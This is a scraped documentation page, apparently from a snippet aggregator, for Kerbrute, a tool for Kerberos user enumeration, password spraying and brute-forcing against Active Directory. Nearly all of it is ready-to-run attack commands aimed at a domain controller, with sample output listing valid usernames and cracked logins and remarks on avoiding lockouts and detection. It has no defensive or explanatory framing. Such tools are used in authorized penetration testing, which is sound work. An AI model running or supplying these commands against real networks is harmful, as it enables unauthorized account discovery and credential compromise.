Kerbrute

https://www.kerbrute.com/
Admin
A powerful tool for performing Kerberos pre-authentication brute-forcing and user enumeration in...
Tokens:2,608
Snippets:45
Trust Score:2.5
Update:4 months ago
Show doc for...
Tokens:
Raw
### Kerbrute Installation: Build from Source

Source: https://www.kerbrute.com

Instructions for compiling Kerbrute from its source code using Go. This method is suitable for custom deployments or when pre-built binaries are not available.

```bash
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
go build -o kerbrute .
```

--------------------------------

### Kerbrute Command Line Execution Example

Source: https://www.kerbrute.com

A basic example of running Kerbrute from the terminal for user enumeration. It specifies the domain and a user list file.

```bash
$ ./kerbrute userenum -d domain.local users.txt
[+] VALID USERNAME: admin@domain.local
[+] VALID USERNAME: user@domain.local
$
```

--------------------------------

### Kerbrute Installation: Go Install

Source: https://www.kerbrute.com

Installs Kerbrute directly using the Go package manager. This is a convenient method for users who have Go installed and configured.

```bash
go install github.com/ropnop/kerbrute@latest
```

--------------------------------

### Kerbrute User Enumeration Example

Source: https://www.kerbrute.com

Demonstrates how to enumerate valid Active Directory usernames from a wordlist using Kerbrute. Specify the domain and the KDC IP address for the enumeration.

```bash
$ ./kerbrute userenum -d domain.local --dc 10.0.0.1 users.txt

2024/01/15 10:30:00 >  Using KDC(s):
2024/01/15 10:30:00 >   10.0.0.1:88

2024/01/15 10:30:01 >  [+] VALID USERNAME:  admin@domain.local
2024/01/15 10:30:01 >  [+] VALID USERNAME:  jsmith@domain.local
2024/01/15 10:30:02 >  [+] VALID USERNAME:  svc_backup@domain.local
2024/01/15 10:30:02 >  Done! Tested 1000 usernames in 2.345 seconds
```

--------------------------------

### Kerbrute Password Spraying Example

Source: https://www.kerbrute.com

Shows how to test a single password against multiple user accounts in an Active Directory domain using Kerbrute. This is useful for identifying accounts with weak or common passwords.

```bash
$ ./kerbrute passwordspray -d domain.local --dc 10.0.0.1 users.txt 'Winter2024!'

2024/01/15 10:35:00 >  Using KDC(s):
2024/01/15 10:35:00 >   10.0.0.1:88

2024/01/15 10:35:01 >  [+] VALID LOGIN:  jsmith@domain.local:Winter2024!
2024/01/15 10:35:02 >  Done! Tested 500 logins in 1.876 seconds
```

--------------------------------

### User Enumeration Command

Source: https://www.kerbrute.com

This command discovers valid usernames by analyzing Kerberos pre-authentication error codes. It is fast, stealthy, and does not cause account lockouts.

```bash
$ ./kerbrute userenum -d domain.local users.txt
```

--------------------------------

### Full Brute Force Command

Source: https://www.kerbrute.com

This command combines usernames and passwords for comprehensive coverage. It is automated but very slow and risky.

```bash
$ ./kerbrute bruteforce -d domain.local combos.txt
```

--------------------------------

### Brute Force Single User Command

Source: https://www.kerbrute.com

This command tests multiple passwords against a single user account. Ensure you have a password list and specify the target domain and domain controller.

```bash
Command

$ ./kerbrute bruteuser -d domain.local --dc 10.0.0.1 passwords.txt admin

Output

2024/01/15 10:40:00 >  Using KDC(s):
2024/01/15 10:40:00 >   10.0.0.1:88

2024/01/15 10:40:05 >  [+] VALID LOGIN:  admin@domain.local:P@ssw0rd123
2024/01/15 10:40:05 >  Done! Tested 5000 passwords in 5.432 seconds
```

--------------------------------

### Brute Force User Command

Source: https://www.kerbrute.com

This command attempts multiple passwords against a single user account. It is focused and fast but carries a risk of account lockout and is noisy.

```bash
$ ./kerbrute bruteuser -d domain.local passwords.txt admin
```

--------------------------------

### Password Spraying Command

Source: https://www.kerbrute.com

This command tests a single password across many accounts while avoiding lockouts. It has a high success rate but can be slow and detectable.

```bash
$ ./kerbrute passwordspray -d domain.local users.txt "Password123"
```
Tokens:
Raw